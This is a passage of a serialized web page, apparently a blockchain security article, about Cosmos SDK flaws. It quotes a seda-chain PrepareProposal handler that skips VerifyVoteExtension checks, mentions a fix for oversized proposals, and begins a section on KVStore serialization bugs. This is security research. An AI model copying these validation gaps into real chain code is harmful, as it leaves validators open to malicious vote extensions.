",{"type":25,"tag":82,"props":87991,"children":87993},{"className":87992},[],[87994],{"type":31,"value":87995},"ValidateVoteExtension",{"type":31,"value":87997}," but does not verify it against the rules in ",{"type":25,"tag":82,"props":87999,"children":88001},{"className":88000},[],[88002],{"type":31,"value":88003},"VerifyVoteExtention.",{"type":31,"value":88005}," Therefore leaving the leader vulnerable to accepting malicious vote extensions in their proposals.",{"type":25,"tag":38,"props":88007,"children":88008},{},[88009],{"type":25,"tag":162,"props":88010,"children":88013},{"href":88011,"rel":88012},"https://github.com/sedaprotocol/seda-chain/blob/66c1b593fa81c7d443ab5fa82757b45e68597f49/app/abci/handlers.go#L180",[166],[88014],{"type":31,"value":80705},{"type":25,"tag":206,"props":88016,"children":88018},{"code":88017,"language":80130,"meta":7,"className":80131,"style":7},"func (h *Handlers) PrepareProposalHandler() sdk.PrepareProposalHandler {\n    return func(ctx sdk.Context, req *abcitypes.RequestPrepareProposal) (*abcitypes.ResponsePrepareProposal, error) {\n        ...\n        var injection []byte\n        if req.Height > ctx.ConsensusParams().Abci.VoteExtensionsEnableHeight && collectSigs {\n            //Fails to verify vote extensions with VerifyVoteExtension rules\n            err := baseapp.ValidateVoteExtensions(ctx, h.stakingKeeper, req.Height, ctx.ChainID(), req.LocalLastCommit)\n            if err != nil {\n                return nil, err\n            }\n            injection, err = json.Marshal(req.LocalLastCommit)\n            if err != nil {\n                h.logger.Error(\"failed to marshal extended votes\", \"err\", err)\n                return nil, err\n            }\n            ...\n        }\n        defaultRes, err := h.defaultPrepareProposal(ctx, req)\n        ...\n        proposalTxs := defaultRes.Txs\n        if injection != nil {\n            proposalTxs = append([][]byte{injection}, proposalTxs...)\n            h.logger.Debug(\"injected local last commit\", \"height\", req.Height)\n        }\n        return &abcitypes.ResponsePrepareProposal{\n            Txs: proposalTxs,\n        }, nil\n    }\n}\n",[88019],{"type":25,"tag":82,"props":88020,"children":88021},{"__ignoreMap":7},[88022,88076,88167,88174,88195,88262,88270,88374,88397,88416,88423,88477,88500,88555,88574,88581,88588,88595,88649,88656,88682,88705,88757,88819,88826,88853,88873,88885,88892],{"type":25,"tag":216,"props":88023,"children":88024},{"class":6916,"line":6917},[88025,88029,88033,88038,88042,88047,88051,88056,88060,88064,88068,88072],{"type":25,"tag":216,"props":88026,"children":88027},{"style":6930},[88028],{"type":31,"value":80266},{"type":25,"tag":216,"props":88030,"children":88031},{"style":6958},[88032],{"type":31,"value":7010},{"type":25,"tag":216,"props":88034,"children":88035},{"style":6941},[88036],{"type":31,"value":88037},"h ",{"type":25,"tag":216,"props":88039,"children":88040},{"style":6947},[88041],{"type":31,"value":8513},{"type":25,"tag":216,"props":88043,"children":88044},{"style":7369},[88045],{"type":31,"value":88046},"Handlers",{"type":25,"tag":216,"props":88048,"children":88049},{"style":6958},[88050],{"type":31,"value":7030},{"type":25,"tag":216,"props":88052,"children":88053},{"style":7041},[88054],{"type":31,"value":88055},"PrepareProposalHandler",{"type":25,"tag":216,"props":88057,"children":88058},{"style":6958},[88059],{"type":31,"value":17994},{"type":25,"tag":216,"props":88061,"children":88062},{"style":7369},[88063],{"type":31,"value":82696},{"type":25,"tag":216,"props":88065,"children":88066},{"style":6958},[88067],{"type":31,"value":179},{"type":25,"tag":216,"props":88069,"children":88070},{"style":7369},[88071],{"type":31,"value":88055},{"type":25,"tag":216,"props":88073,"children":88074},{"style":6958},[88075],{"type":31,"value":7235},{"type":25,"tag":216,"props":88077,"children":88078},{"class":6916,"line":6763},[88079,88083,88087,88091,88095,88099,88103,88107,88111,88116,88120,88125,88129,88134,88138,88142,88146,88150,88155,88159,88163],{"type":25,"tag":216,"props":88080,"children":88081},{"style":6967},[88082],{"type":31,"value":20941},{"type":25,"tag":216,"props":88084,"children":88085},{"style":6930},[88086],{"type":31,"value":83975},{"type":25,"tag":216,"props":88088,"children":88089},{"style":6958},[88090],{"type":31,"value":1844},{"type":25,"tag":216,"props":88092,"children":88093},{"style":6941},[88094],{"type":31,"value":24234},{"type":25,"tag":216,"props":88096,"children":88097},{"style":7369},[88098],{"type":31,"value":82607},{"type":25,"tag":216,"props":88100,"children":88101},{"style":6958},[88102],{"type":31,"value":179},{"type":25,"tag":216,"props":88104,"children":88105},{"style":7369},[88106],{"type":31,"value":80315},{"type":25,"tag":216,"props":88108,"children":88109},{"style":6958},[88110],{"type":31,"value":7020},{"type":25,"tag":216,"props":88112,"children":88113},{"style":6941},[88114],{"type":31,"value":88115},"req",{"type":25,"tag":216,"props":88117,"children":88118},{"style":6947},[88119],{"type":31,"value":13767},{"type":25,"tag":216,"props":88121,"children":88122},{"style":7369},[88123],{"type":31,"value":88124},"abcitypes",{"type":25,"tag":216,"props":88126,"children":88127},{"style":6958},[88128],{"type":31,"value":179},{"type":25,"tag":216,"props":88130,"children":88131},{"style":7369},[88132],{"type":31,"value":88133},"RequestPrepareProposal",{"type":25,"tag":216,"props":88135,"children":88136},{"style":6958},[88137],{"type":31,"value":80348},{"type":25,"tag":216,"props":88139,"children":88140},{"style":6947},[88141],{"type":31,"value":8513},{"type":25,"tag":216,"props":88143,"children":88144},{"style":7369},[88145],{"type":31,"value":88124},{"type":25,"tag":216,"props":88147,"children":88148},{"style":6958},[88149],{"type":31,"value":179},{"type":25,"tag":216,"props":88151,"children":88152},{"style":7369},[88153],{"type":31,"value":88154},"ResponsePrepareProposal",{"type":25,"tag":216,"props":88156,"children":88157},{"style":6958},[88158],{"type":31,"value":7020},{"type":25,"tag":216,"props":88160,"children":88161},{"style":7369},[88162],{"type":31,"value":18815},{"type":25,"tag":216,"props":88164,"children":88165},{"style":6958},[88166],{"type":31,"value":18755},{"type":25,"tag":216,"props":88168,"children":88169},{"class":6916,"line":6772},[88170],{"type":25,"tag":216,"props":88171,"children":88172},{"style":6947},[88173],{"type":31,"value":85808},{"type":25,"tag":216,"props":88175,"children":88176},{"class":6916,"line":6999},[88177,88181,88186,88190],{"type":25,"tag":216,"props":88178,"children":88179},{"style":6930},[88180],{"type":31,"value":84084},{"type":25,"tag":216,"props":88182,"children":88183},{"style":6941},[88184],{"type":31,"value":88185}," injection",{"type":25,"tag":216,"props":88187,"children":88188},{"style":6958},[88189],{"type":31,"value":80193},{"type":25,"tag":216,"props":88191,"children":88192},{"style":7369},[88193],{"type":31,"value":88194},"byte\n",{"type":25,"tag":216,"props":88196,"children":88197},{"class":6916,"line":7104},[88198,88202,88207,88211,88215,88219,88223,88227,88231,88235,88240,88244,88249,88253,88258],{"type":25,"tag":216,"props":88199,"children":88200},{"style":6967},[88201],{"type":31,"value":7216},{"type":25,"tag":216,"props":88203,"children":88204},{"style":6941},[88205],{"type":31,"value":88206}," req",{"type":25,"tag":216,"props":88208,"children":88209},{"style":6958},[88210],{"type":31,"value":179},{"type":25,"tag":216,"props":88212,"children":88213},{"style":6941},[88214],{"type":31,"value":87445},{"type":25,"tag":216,"props":88216,"children":88217},{"style":6947},[88218],{"type":31,"value":18145},{"type":25,"tag":216,"props":88220,"children":88221},{"style":6941},[88222],{"type":31,"value":29795},{"type":25,"tag":216,"props":88224,"children":88225},{"style":6958},[88226],{"type":31,"value":179},{"type":25,"tag":216,"props":88228,"children":88229},{"style":7041},[88230],{"type":31,"value":87646},{"type":25,"tag":216,"props":88232,"children":88233},{"style":6958},[88234],{"type":31,"value":34123},{"type":25,"tag":216,"props":88236,"children":88237},{"style":6941},[88238],{"type":31,"value":88239},"Abci",{"type":25,"tag":216,"props":88241,"children":88242},{"style":6958},[88243],{"type":31,"value":179},{"type":25,"tag":216,"props":88245,"children":88246},{"style":6941},[88247],{"type":31,"value":88248},"VoteExtensionsEnableHeight",{"type":25,"tag":216,"props":88250,"children":88251},{"style":6947},[88252],{"type":31,"value":18136},{"type":25,"tag":216,"props":88254,"children":88255},{"style":6941},[88256],{"type":31,"value":88257}," collectSigs",{"type":25,"tag":216,"props":88259,"children":88260},{"style":6958},[88261],{"type":31,"value":7235},{"type":25,"tag":216,"props":88263,"children":88264},{"class":6916,"line":7210},[88265],{"type":25,"tag":216,"props":88266,"children":88267},{"style":6921},[88268],{"type":31,"value":88269},"            //Fails to verify vote extensions with VerifyVoteExtension rules\n",{"type":25,"tag":216,"props":88271,"children":88272},{"class":6916,"line":7238},[88273,88277,88281,88286,88290,88295,88299,88303,88307,88311,88315,88320,88324,88328,88332,88336,88340,88344,88348,88353,88357,88361,88365,88370],{"type":25,"tag":216,"props":88274,"children":88275},{"style":6941},[88276],{"type":31,"value":86302},{"type":25,"tag":216,"props":88278,"children":88279},{"style":6947},[88280],{"type":31,"value":80382},{"type":25,"tag":216,"props":88282,"children":88283},{"style":6941},[88284],{"type":31,"value":88285}," baseapp",{"type":25,"tag":216,"props":88287,"children":88288},{"style":6958},[88289],{"type":31,"value":179},{"type":25,"tag":216,"props":88291,"children":88292},{"style":7041},[88293],{"type":31,"value":88294},"ValidateVoteExtensions",{"type":25,"tag":216,"props":88296,"children":88297},{"style":6958},[88298],{"type":31,"value":1844},{"type":25,"tag":216,"props":88300,"children":88301},{"style":6941},[88302],{"type":31,"value":24234},{"type":25,"tag":216,"props":88304,"children":88305},{"style":6958},[88306],{"type":31,"value":7020},{"type":25,"tag":216,"props":88308,"children":88309},{"style":6941},[88310],{"type":31,"value":2605},{"type":25,"tag":216,"props":88312,"children":88313},{"style":6958},[88314],{"type":31,"value":179},{"type":25,"tag":216,"props":88316,"children":88317},{"style":6941},[88318],{"type":31,"value":88319},"stakingKeeper",{"type":25,"tag":216,"props":88321,"children":88322},{"style":6958},[88323],{"type":31,"value":7020},{"type":25,"tag":216,"props":88325,"children":88326},{"style":6941},[88327],{"type":31,"value":88115},{"type":25,"tag":216,"props":88329,"children":88330},{"style":6958},[88331],{"type":31,"value":179},{"type":25,"tag":216,"props":88333,"children":88334},{"style":6941},[88335],{"type":31,"value":87445},{"type":25,"tag":216,"props":88337,"children":88338},{"style":6958},[88339],{"type":31,"value":7020},{"type":25,"tag":216,"props":88341,"children":88342},{"style":6941},[88343],{"type":31,"value":24234},{"type":25,"tag":216,"props":88345,"children":88346},{"style":6958},[88347],{"type":31,"value":179},{"type":25,"tag":216,"props":88349,"children":88350},{"style":7041},[88351],{"type":31,"value":88352},"ChainID",{"type":25,"tag":216,"props":88354,"children":88355},{"style":6958},[88356],{"type":31,"value":22328},{"type":25,"tag":216,"props":88358,"children":88359},{"style":6941},[88360],{"type":31,"value":88115},{"type":25,"tag":216,"props":88362,"children":88363},{"style":6958},[88364],{"type":31,"value":179},{"type":25,"tag":216,"props":88366,"children":88367},{"style":6941},[88368],{"type":31,"value":88369},"LocalLastCommit",{"type":25,"tag":216,"props":88371,"children":88372},{"style":6958},[88373],{"type":31,"value":7101},{"type":25,"tag":216,"props":88375,"children":88376},{"class":6916,"line":7251},[88377,88381,88385,88389,88393],{"type":25,"tag":216,"props":88378,"children":88379},{"style":6967},[88380],{"type":31,"value":62762},{"type":25,"tag":216,"props":88382,"children":88383},{"style":6941},[88384],{"type":31,"value":52484},{"type":25,"tag":216,"props":88386,"children":88387},{"style":6947},[88388],{"type":31,"value":68349},{"type":25,"tag":216,"props":88390,"children":88391},{"style":6930},[88392],{"type":31,"value":85884},{"type":25,"tag":216,"props":88394,"children":88395},{"style":6958},[88396],{"type":31,"value":7235},{"type":25,"tag":216,"props":88398,"children":88399},{"class":6916,"line":7269},[88400,88404,88408,88412],{"type":25,"tag":216,"props":88401,"children":88402},{"style":6967},[88403],{"type":31,"value":64690},{"type":25,"tag":216,"props":88405,"children":88406},{"style":6930},[88407],{"type":31,"value":85884},{"type":25,"tag":216,"props":88409,"children":88410},{"style":6958},[88411],{"type":31,"value":7020},{"type":25,"tag":216,"props":88413,"children":88414},{"style":6941},[88415],{"type":31,"value":87605},{"type":25,"tag":216,"props":88417,"children":88418},{"class":6916,"line":7290},[88419],{"type":25,"tag":216,"props":88420,"children":88421},{"style":6958},[88422],{"type":31,"value":62846},{"type":25,"tag":216,"props":88424,"children":88425},{"class":6916,"line":7299},[88426,88431,88435,88439,88443,88448,88452,88457,88461,88465,88469,88473],{"type":25,"tag":216,"props":88427,"children":88428},{"style":6941},[88429],{"type":31,"value":88430},"            injection",{"type":25,"tag":216,"props":88432,"children":88433},{"style":6958},[88434],{"type":31,"value":7020},{"type":25,"tag":216,"props":88436,"children":88437},{"style":6941},[88438],{"type":31,"value":52383},{"type":25,"tag":216,"props":88440,"children":88441},{"style":6947},[88442],{"type":31,"value":6950},{"type":25,"tag":216,"props":88444,"children":88445},{"style":6941},[88446],{"type":31,"value":88447}," json",{"type":25,"tag":216,"props":88449,"children":88450},{"style":6958},[88451],{"type":31,"value":179},{"type":25,"tag":216,"props":88453,"children":88454},{"style":7041},[88455],{"type":31,"value":88456},"Marshal",{"type":25,"tag":216,"props":88458,"children":88459},{"style":6958},[88460],{"type":31,"value":1844},{"type":25,"tag":216,"props":88462,"children":88463},{"style":6941},[88464],{"type":31,"value":88115},{"type":25,"tag":216,"props":88466,"children":88467},{"style":6958},[88468],{"type":31,"value":179},{"type":25,"tag":216,"props":88470,"children":88471},{"style":6941},[88472],{"type":31,"value":88369},{"type":25,"tag":216,"props":88474,"children":88475},{"style":6958},[88476],{"type":31,"value":7101},{"type":25,"tag":216,"props":88478,"children":88479},{"class":6916,"line":7551},[88480,88484,88488,88492,88496],{"type":25,"tag":216,"props":88481,"children":88482},{"style":6967},[88483],{"type":31,"value":62762},{"type":25,"tag":216,"props":88485,"children":88486},{"style":6941},[88487],{"type":31,"value":52484},{"type":25,"tag":216,"props":88489,"children":88490},{"style":6947},[88491],{"type":31,"value":68349},{"type":25,"tag":216,"props":88493,"children":88494},{"style":6930},[88495],{"type":31,"value":85884},{"type":25,"tag":216,"props":88497,"children":88498},{"style":6958},[88499],{"type":31,"value":7235},{"type":25,"tag":216,"props":88501,"children":88502},{"class":6916,"line":7568},[88503,88508,88512,88517,88521,88525,88529,88534,88538,88543,88547,88551],{"type":25,"tag":216,"props":88504,"children":88505},{"style":6941},[88506],{"type":31,"value":88507},"                h",{"type":25,"tag":216,"props":88509,"children":88510},{"style":6958},[88511],{"type":31,"value":179},{"type":25,"tag":216,"props":88513,"children":88514},{"style":6941},[88515],{"type":31,"value":88516},"logger",{"type":25,"tag":216,"props":88518,"children":88519},{"style":6958},[88520],{"type":31,"value":179},{"type":25,"tag":216,"props":88522,"children":88523},{"style":7041},[88524],{"type":31,"value":41355},{"type":25,"tag":216,"props":88526,"children":88527},{"style":6958},[88528],{"type":31,"value":1844},{"type":25,"tag":216,"props":88530,"children":88531},{"style":8199},[88532],{"type":31,"value":88533},"\"failed to marshal extended votes\"",{"type":25,"tag":216,"props":88535,"children":88536},{"style":6958},[88537],{"type":31,"value":7020},{"type":25,"tag":216,"props":88539,"children":88540},{"style":8199},[88541],{"type":31,"value":88542},"\"err\"",{"type":25,"tag":216,"props":88544,"children":88545},{"style":6958},[88546],{"type":31,"value":7020},{"type":25,"tag":216,"props":88548,"children":88549},{"style":6941},[88550],{"type":31,"value":52383},{"type":25,"tag":216,"props":88552,"children":88553},{"style":6958},[88554],{"type":31,"value":7101},{"type":25,"tag":216,"props":88556,"children":88557},{"class":6916,"line":7585},[88558,88562,88566,88570],{"type":25,"tag":216,"props":88559,"children":88560},{"style":6967},[88561],{"type":31,"value":64690},{"type":25,"tag":216,"props":88563,"children":88564},{"style":6930},[88565],{"type":31,"value":85884},{"type":25,"tag":216,"props":88567,"children":88568},{"style":6958},[88569],{"type":31,"value":7020},{"type":25,"tag":216,"props":88571,"children":88572},{"style":6941},[88573],{"type":31,"value":87605},{"type":25,"tag":216,"props":88575,"children":88576},{"class":6916,"line":7598},[88577],{"type":25,"tag":216,"props":88578,"children":88579},{"style":6958},[88580],{"type":31,"value":62846},{"type":25,"tag":216,"props":88582,"children":88583},{"class":6916,"line":7607},[88584],{"type":25,"tag":216,"props":88585,"children":88586},{"style":6947},[88587],{"type":31,"value":86484},{"type":25,"tag":216,"props":88589,"children":88590},{"class":6916,"line":7630},[88591],{"type":25,"tag":216,"props":88592,"children":88593},{"style":6958},[88594],{"type":31,"value":7296},{"type":25,"tag":216,"props":88596,"children":88597},{"class":6916,"line":7639},[88598,88603,88607,88611,88615,88620,88624,88629,88633,88637,88641,88645],{"type":25,"tag":216,"props":88599,"children":88600},{"style":6941},[88601],{"type":31,"value":88602},"        defaultRes",{"type":25,"tag":216,"props":88604,"children":88605},{"style":6958},[88606],{"type":31,"value":7020},{"type":25,"tag":216,"props":88608,"children":88609},{"style":6941},[88610],{"type":31,"value":52383},{"type":25,"tag":216,"props":88612,"children":88613},{"style":6947},[88614],{"type":31,"value":80382},{"type":25,"tag":216,"props":88616,"children":88617},{"style":6941},[88618],{"type":31,"value":88619}," h",{"type":25,"tag":216,"props":88621,"children":88622},{"style":6958},[88623],{"type":31,"value":179},{"type":25,"tag":216,"props":88625,"children":88626},{"style":7041},[88627],{"type":31,"value":88628},"defaultPrepareProposal",{"type":25,"tag":216,"props":88630,"children":88631},{"style":6958},[88632],{"type":31,"value":1844},{"type":25,"tag":216,"props":88634,"children":88635},{"style":6941},[88636],{"type":31,"value":24234},{"type":25,"tag":216,"props":88638,"children":88639},{"style":6958},[88640],{"type":31,"value":7020},{"type":25,"tag":216,"props":88642,"children":88643},{"style":6941},[88644],{"type":31,"value":88115},{"type":25,"tag":216,"props":88646,"children":88647},{"style":6958},[88648],{"type":31,"value":7101},{"type":25,"tag":216,"props":88650,"children":88651},{"class":6916,"line":7648},[88652],{"type":25,"tag":216,"props":88653,"children":88654},{"style":6947},[88655],{"type":31,"value":85808},{"type":25,"tag":216,"props":88657,"children":88658},{"class":6916,"line":7716},[88659,88664,88668,88673,88677],{"type":25,"tag":216,"props":88660,"children":88661},{"style":6941},[88662],{"type":31,"value":88663},"        proposalTxs",{"type":25,"tag":216,"props":88665,"children":88666},{"style":6947},[88667],{"type":31,"value":80382},{"type":25,"tag":216,"props":88669,"children":88670},{"style":6941},[88671],{"type":31,"value":88672}," defaultRes",{"type":25,"tag":216,"props":88674,"children":88675},{"style":6958},[88676],{"type":31,"value":179},{"type":25,"tag":216,"props":88678,"children":88679},{"style":6941},[88680],{"type":31,"value":88681},"Txs\n",{"type":25,"tag":216,"props":88683,"children":88684},{"class":6916,"line":7724},[88685,88689,88693,88697,88701],{"type":25,"tag":216,"props":88686,"children":88687},{"style":6967},[88688],{"type":31,"value":7216},{"type":25,"tag":216,"props":88690,"children":88691},{"style":6941},[88692],{"type":31,"value":88185},{"type":25,"tag":216,"props":88694,"children":88695},{"style":6947},[88696],{"type":31,"value":68349},{"type":25,"tag":216,"props":88698,"children":88699},{"style":6930},[88700],{"type":31,"value":85884},{"type":25,"tag":216,"props":88702,"children":88703},{"style":6958},[88704],{"type":31,"value":7235},{"type":25,"tag":216,"props":88706,"children":88707},{"class":6916,"line":7754},[88708,88713,88717,88721,88726,88731,88735,88740,88744,88749,88753],{"type":25,"tag":216,"props":88709,"children":88710},{"style":6941},[88711],{"type":31,"value":88712},"            proposalTxs",{"type":25,"tag":216,"props":88714,"children":88715},{"style":6947},[88716],{"type":31,"value":6950},{"type":25,"tag":216,"props":88718,"children":88719},{"style":7041},[88720],{"type":31,"value":81662},{"type":25,"tag":216,"props":88722,"children":88723},{"style":6958},[88724],{"type":31,"value":88725},"([][]",{"type":25,"tag":216,"props":88727,"children":88728},{"style":7369},[88729],{"type":31,"value":88730},"byte",{"type":25,"tag":216,"props":88732,"children":88733},{"style":6958},[88734],{"type":31,"value":80584},{"type":25,"tag":216,"props":88736,"children":88737},{"style":6941},[88738],{"type":31,"value":88739},"injection",{"type":25,"tag":216,"props":88741,"children":88742},{"style":6958},[88743],{"type":31,"value":80603},{"type":25,"tag":216,"props":88745,"children":88746},{"style":6941},[88747],{"type":31,"value":88748},"proposalTxs",{"type":25,"tag":216,"props":88750,"children":88751},{"style":6947},[88752],{"type":31,"value":13541},{"type":25,"tag":216,"props":88754,"children":88755},{"style":6958},[88756],{"type":31,"value":7101},{"type":25,"tag":216,"props":88758,"children":88759},{"class":6916,"line":7762},[88760,88765,88769,88773,88777,88781,88785,88790,88794,88799,88803,88807,88811,88815],{"type":25,"tag":216,"props":88761,"children":88762},{"style":6941},[88763],{"type":31,"value":88764},"            h",{"type":25,"tag":216,"props":88766,"children":88767},{"style":6958},[88768],{"type":31,"value":179},{"type":25,"tag":216,"props":88770,"children":88771},{"style":6941},[88772],{"type":31,"value":88516},{"type":25,"tag":216,"props":88774,"children":88775},{"style":6958},[88776],{"type":31,"value":179},{"type":25,"tag":216,"props":88778,"children":88779},{"style":7041},[88780],{"type":31,"value":28662},{"type":25,"tag":216,"props":88782,"children":88783},{"style":6958},[88784],{"type":31,"value":1844},{"type":25,"tag":216,"props":88786,"children":88787},{"style":8199},[88788],{"type":31,"value":88789},"\"injected local last commit\"",{"type":25,"tag":216,"props":88791,"children":88792},{"style":6958},[88793],{"type":31,"value":7020},{"type":25,"tag":216,"props":88795,"children":88796},{"style":8199},[88797],{"type":31,"value":88798},"\"height\"",{"type":25,"tag":216,"props":88800,"children":88801},{"style":6958},[88802],{"type":31,"value":7020},{"type":25,"tag":216,"props":88804,"children":88805},{"style":6941},[88806],{"type":31,"value":88115},{"type":25,"tag":216,"props":88808,"children":88809},{"style":6958},[88810],{"type":31,"value":179},{"type":25,"tag":216,"props":88812,"children":88813},{"style":6941},[88814],{"type":31,"value":87445},{"type":25,"tag":216,"props":88816,"children":88817},{"style":6958},[88818],{"type":31,"value":7101},{"type":25,"tag":216,"props":88820,"children":88821},{"class":6916,"line":7794},[88822],{"type":25,"tag":216,"props":88823,"children":88824},{"style":6958},[88825],{"type":31,"value":7296},{"type":25,"tag":216,"props":88827,"children":88828},{"class":6916,"line":7802},[88829,88833,88837,88841,88845,88849],{"type":25,"tag":216,"props":88830,"children":88831},{"style":6967},[88832],{"type":31,"value":19696},{"type":25,"tag":216,"props":88834,"children":88835},{"style":6947},[88836],{"type":31,"value":11087},{"type":25,"tag":216,"props":88838,"children":88839},{"style":7369},[88840],{"type":31,"value":88124},{"type":25,"tag":216,"props":88842,"children":88843},{"style":6958},[88844],{"type":31,"value":179},{"type":25,"tag":216,"props":88846,"children":88847},{"style":7369},[88848],{"type":31,"value":88154},{"type":25,"tag":216,"props":88850,"children":88851},{"style":6958},[88852],{"type":31,"value":14830},{"type":25,"tag":216,"props":88854,"children":88855},{"class":6916,"line":7862},[88856,88861,88865,88869],{"type":25,"tag":216,"props":88857,"children":88858},{"style":6941},[88859],{"type":31,"value":88860},"            Txs",{"type":25,"tag":216,"props":88862,"children":88863},{"style":6958},[88864],{"type":31,"value":19282},{"type":25,"tag":216,"props":88866,"children":88867},{"style":6941},[88868],{"type":31,"value":88748},{"type":25,"tag":216,"props":88870,"children":88871},{"style":6958},[88872],{"type":31,"value":7459},{"type":25,"tag":216,"props":88874,"children":88875},{"class":6916,"line":12995},[88876,88881],{"type":25,"tag":216,"props":88877,"children":88878},{"style":6958},[88879],{"type":31,"value":88880},"        }, ",{"type":25,"tag":216,"props":88882,"children":88883},{"style":6930},[88884],{"type":31,"value":80608},{"type":25,"tag":216,"props":88886,"children":88887},{"class":6916,"line":13013},[88888],{"type":25,"tag":216,"props":88889,"children":88890},{"style":6958},[88891],{"type":31,"value":7305},{"type":25,"tag":216,"props":88893,"children":88894},{"class":6916,"line":13058},[88895],{"type":25,"tag":216,"props":88896,"children":88897},{"style":6958},[88898],{"type":31,"value":7868},{"type":25,"tag":38,"props":88900,"children":88901},{},[88902,88904,88909,88910,88915,88917,88924],{"type":31,"value":88903},"Aside from the more complex variant, pure validation mismatches are also still prevalent despite being a well-known attack surface. This stems from ",{"type":25,"tag":82,"props":88905,"children":88907},{"className":88906},[],[88908],{"type":31,"value":87274},{"type":31,"value":7010},{"type":25,"tag":82,"props":88911,"children":88913},{"className":88912},[],[88914],{"type":31,"value":87342},{"type":31,"value":88916},") rejections by various obscure checks hidden within CometBTF. For example, this commit fixes a bug where ",{"type":25,"tag":162,"props":88918,"children":88921},{"href":88919,"rel":88920},"https://github.com/babylonlabs-io/babylon/commit/aa827f875a16ebf85efee5d9a6c8c4e76dbfb7bd#diff-77659089b31367690393a968f4bfacfd1bf960ed300965729df216a6fb612699",[166],[88922],{"type":31,"value":88923},"PrepareProposal may return a Proposal larger than MaxTxBytes",{"type":31,"value":88925},", which will later get rejected by CometBTF.",{"type":25,"tag":26,"props":88927,"children":88929},{"id":88928},"the-keymaker",[88930],{"type":31,"value":88931},"The Keymaker",{"type":25,"tag":38,"props":88933,"children":88934},{},[88935,88937,88943,88945,88950],{"type":31,"value":88936},"States (persistent storage) are another crucial component in state machines. Cosmos relies on a custom key-value storage called",{"type":25,"tag":82,"props":88938,"children":88940},{"className":88939},[],[88941],{"type":31,"value":88942},"KVStore",{"type":31,"value":88944}," to handle states efficently. In ",{"type":25,"tag":82,"props":88946,"children":88948},{"className":88947},[],[88949],{"type":31,"value":88942},{"type":31,"value":88951},", keys and values are both represented as simple byte slices, requiring developers to handle serialization and deserialization of more intricate structures when working with storage.",{"type":25,"tag":38,"props":88953,"children":88954},{},[88955],{"type":31,"value":88956},"The complexity behind proper data serialization often results in flawed code and security vulnerabilities. Below, we showcase relatively simple (but buggy) implementations and progressively address and mitigate the issues until the code is deemed safe from exploits.",{"type":25,"tag":38,"props":88958,"children":88959},{},[88960,88962,88968],{"type":31,"value":88961},"Let's start by considering a scenario where we need to store the ",{"type":25,"tag":82,"props":88963,"children":88965},{"className":88964},[],[88966],{"type":31,"value":88967},"positionMap",{"type":31,"value":88969}," structure mentioned below into storage.",{"type":25,"tag":206,"props":88971,"children":88973},{"code":88972,"language":80130,"meta":7,"className":80131,"style":7},"type VaultId uint64\ntype Username string\ntype PositionName string\ntype Position struct {\n    data []byte\n}\ntype PositionMap :=\n    map[VaultId]map[Username]map[PositionName]Position\n",[88974],{"type":25,"tag":82,"props":88975,"children":88976},{"__ignoreMap":7},[88977,88993,89010,89026,89045,89060,89067,89084],{"type":25,"tag":216,"props":88978,"children":88979},{"class":6916,"line":6917},[88980,88984,88989],{"type":25,"tag":216,"props":88981,"children":88982},{"style":6930},[88983],{"type":31,"value":36713},{"type":25,"tag":216,"props":88985,"children":88986},{"style":7369},[88987],{"type":31,"value":88988}," VaultId",{"type":25,"tag":216,"props":88990,"children":88991},{"style":7369},[88992],{"type":31,"value":80168},{"type":25,"tag":216,"props":88994,"children":88995},{"class":6916,"line":6763},[88996,89000,89005],{"type":25,"tag":216,"props":88997,"children":88998},{"style":6930},[88999],{"type":31,"value":36713},{"type":25,"tag":216,"props":89001,"children":89002},{"style":7369},[89003],{"type":31,"value":89004}," Username",{"type":25,"tag":216,"props":89006,"children":89007},{"style":7369},[89008],{"type":31,"value":89009}," string\n",{"type":25,"tag":216,"props":89011,"children":89012},{"class":6916,"line":6772},[89013,89017,89022],{"type":25,"tag":216,"props":89014,"children":89015},{"style":6930},[89016],{"type":31,"value":36713},{"type":25,"tag":216,"props":89018,"children":89019},{"style":7369},[89020],{"type":31,"value":89021}," PositionName",{"type":25,"tag":216,"props":89023,"children":89024},{"style":7369},[89025],{"type":31,"value":89009},{"type":25,"tag":216,"props":89027,"children":89028},{"class":6916,"line":6999},[89029,89033,89037,89041],{"type":25,"tag":216,"props":89030,"children":89031},{"style":6930},[89032],{"type":31,"value":36713},{"type":25,"tag":216,"props":89034,"children":89035},{"style":7369},[89036],{"type":31,"value":11370},{"type":25,"tag":216,"props":89038,"children":89039},{"style":6930},[89040],{"type":31,"value":25105},{"type":25,"tag":216,"props":89042,"children":89043},{"style":6958},[89044],{"type":31,"value":7235},{"type":25,"tag":216,"props":89046,"children":89047},{"class":6916,"line":7104},[89048,89052,89056],{"type":25,"tag":216,"props":89049,"children":89050},{"style":6941},[89051],{"type":31,"value":47191},{"type":25,"tag":216,"props":89053,"children":89054},{"style":6958},[89055],{"type":31,"value":80193},{"type":25,"tag":216,"props":89057,"children":89058},{"style":7369},[89059],{"type":31,"value":88194},{"type":25,"tag":216,"props":89061,"children":89062},{"class":6916,"line":7210},[89063],{"type":25,"tag":216,"props":89064,"children":89065},{"style":6958},[89066],{"type":31,"value":7868},{"type":25,"tag":216,"props":89068,"children":89069},{"class":6916,"line":7238},[89070,89074,89079],{"type":25,"tag":216,"props":89071,"children":89072},{"style":6930},[89073],{"type":31,"value":36713},{"type":25,"tag":216,"props":89075,"children":89076},{"style":7369},[89077],{"type":31,"value":89078}," PositionMap",{"type":25,"tag":216,"props":89080,"children":89081},{"style":6947},[89082],{"type":31,"value":89083}," :=\n",{"type":25,"tag":216,"props":89085,"children":89086},{"class":6916,"line":7251},[89087,89092,89096,89101,89105,89109,89113,89118,89122,89126,89130,89135,89139],{"type":25,"tag":216,"props":89088,"children":89089},{"style":6930},[89090],{"type":31,"value":89091},"    